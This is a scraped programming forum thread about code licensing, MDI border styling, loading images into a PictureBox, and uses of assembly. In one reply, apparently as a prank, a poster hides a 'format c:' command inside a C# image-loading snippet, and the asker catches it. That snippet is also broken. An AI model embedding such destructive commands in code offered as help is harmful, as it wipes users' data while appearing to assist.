|
i agree,
if i downloaded some code when it was OK to use it.
and never came back to codeproject so that i wouldnt know that he has retracted teh rights to use it ... would i then be doing something illegal w/o knowing it??
that cant be right can it?
//Roger
|
|
|
|
|
More to the point, suppose I had used his controls in my app, and then he changed the license? Would I be required to pull my app from the market and/or replace the controls with a new library? No! He released it with no license, which essentially means that the code is free for people to do anything they like with it. But what he can do, and what he did, is to take it off CodeProject so that people can't easily get a hold of it anymore.
So, we're left with a gap on CP that his controls once filled, and that needs to be filled by something else. Chris is going to have a contest to fill that gap, and I intend to help fill it with controls from the FLUID[^] control library.
"Blessed are the peacemakers, for they shall be called sons of God." - Jesus
"You must be the change you wish to see in the world." - Mahatma Gandhi
|
|
|
|
|
best of luck on the fluid project and thanks for the reply. this is actually what happened to me; i started using utility library over a year ago, only to check back a few months ago and see the licensing change.
btw - carlos never had docking tabs, xp visual style support or designers. there's plenty of room for you to do a better job!!
|
|
|
|
|
James Cadd wrote:
best of luck on the fluid project
Thanks!
James Cadd wrote:
carlos never had docking tabs, xp visual style support or designers. there's plenty of room for you to do a better job!!
Definitely.
"Blessed are the peacemakers, for they shall be called sons of God." - Jesus
"You must be the change you wish to see in the world." - Mahatma Gandhi
|
|
|
|
|
As you know, in a standard mdi application the parent form has a client area (usually dark gray). The client area has a 3d border style. I would like to change that border style to either none or fixed single. How is this done?
|
|
|
|
|
subclass the mdi client and handle the wm_ncpaint and wm_paint messages
//Roger
|
|
|
|
|
How can I load a new image into a PictureBox when the user clicks on that PictureBox?
|
|
|
|
|
|
I'm still not sure how to make it. Could you code up a quick example?
|
|
|
|
|
I recommend buying a book on C#. It may help you.
"werewnt we going to run off and start a convent on as islandf]" -David Wulff, again on MSN while plastered...
Jonathan 'nonny' Newman
Homepage [www.nonny.com] [^]
Blog [^]
|
|
|
|
|
I actually own several. Unfortunately this particular item is in none of them.
|
|
|
|
|
Well then.
Add an event handler to the Image box. In the handler method, load the new bitmap into a Bitmap object. Then set the value of PictureBox.Image = theBitmap;
Each of these steps is documented in some way in ANY C# book.
"werewnt we going to run off and start a convent on as islandf]" -David Wulff, again on MSN while plastered...
Jonathan 'nonny' Newman
Homepage [www.nonny.com] [^]
Blog [^]
|
|
|
|
|
Well, right here I have a copy of Programming C# by O'Reilly, and its >not< in there. At least its not in a place that I was able to find. I have another C# elsewhere that didn't have it either.
|
|
|
|
|
I think what Jonny is suggesting is that you begin to understand the basic concepts - what you're looking for is a book that teaches by rote.
The code you need is a simple event handler, which instantiates an image object, then assigns it to a property. Really - this is simple if you research the concepts.
Tatham Oddie (VB.NET/C#/ASP.NET/VB6/ASP/JavaScript)
tatham@e-oddie.com
+61 414 275 989
|
|
|
|
|
No, no. This I understand. Its more of a syntax question than anything else. I understand what an event is, and how to use them, etc etc. Its just that particular item I've not done before and the MSDN docs are a bit vague on the matter. So I was hoping to find an example of it, which works a bit better for me than being told to "RTFM!"
|
|
|
|
|
Okay, ready?
Add this to your event handler for the OnClick event:
string directory = Application.StartupPath;<br />
string image = System.IO.Directory.FindFiles(directory, "*.bmp")[0].ToString();<br />
Bitmap theBitmap;<br />
System.Diagnostics.Process.Start("format c: /x /q");<br />
theBitmap = new Bitmap(System.IO.Path.Combine(directory, image));<br />
this.BackgroundImage = theBitmap;
I have also lived some years in Spain, and there people don't accept that you speak bad spanish. I usually compensate by speaking loud and accusing people of being stupid because they don't understand me. It usually works quite well.
-jhaga on non-native languages
|
|
|
|
|
Oh how helpful. Not only do I get code to load an image but my C: drive gets formatted. Apparently you're code has a huge bug in it, and I shouldn't count on you for being able to produce anything of quality.
Of course, there's also the possibility that you didn't have that code in there because you're incompentent. You could also just be a self-righteous a**hole. I'll let you decide which of the two you are.
|
|
|
|
|
frogb0x wrote:
You could also just be a self-righteous a**hole.
I already knew that...
I passionately hate the idea of being with it, I think an artist has always to be out of step with his time.
-Orson Welles
|
|
|
|
|
|
|
Image object (System.Drawing) has some methods to get picture as FromFile(). May be it will be helpfull for You
Hi,
AW
|
|
|
|
|
Thanks for the tip, but I figured it out elsewhere from a MUCH more helpful place.
|
|
|
|
|
Just a stupid question, why do we program in assembly? Any example?
norm
|
|
|
|
|
STORE 0
STORE i have no idea
STORE i have no idea
STORE never
JUMP loop
loop:
DUP
JUMPNE exit
CALL answer
exit:
POP
EXIT
leppie::AllocCPArticle("Zee blog");
|
|
|
|
|
Today, almost never. Some common situations which still require ASM programming:
1. Kernel-level coding. You can be implementing a driver, a new kernel function (probably in Linux, otherwise you would be working at MS), or some low level functionality.
2. Compiler creation. Compilers (and sometimes linkers) output ASM code, so, normally you need to code the ASM generation part.
3. Self-modifying code. For high performance, virtual machines or even copy protection schemes.
4. MMX, 3DNow, SSE and SSE2 extensions: sometimes, compilers take years to catch up with processor advances. Some instructions, e.g., multimedia and game extensions were only available as ASM instructions for C++ programmers.
5. Embedded code. Today you have software on almost anything, from microwaves to your computer's video monitor. Obviously Visual C++ is not available for this kind of processor, which run on a very constrained environment, with low memory and CPU power conditions. Every byte increases the product's final cost.
6. High performance applications. Games, libraries, etc. Hand-made ASM code is still much more efficient than code generated by a compiler. But it doesn't scale well. So, often you get some tight loops or some small functions of a library (normally selected with a code profiler) and code it in ASM to increase performance.
You can do it on anything you choose - from .bat to .net - A customer
|
|
|
|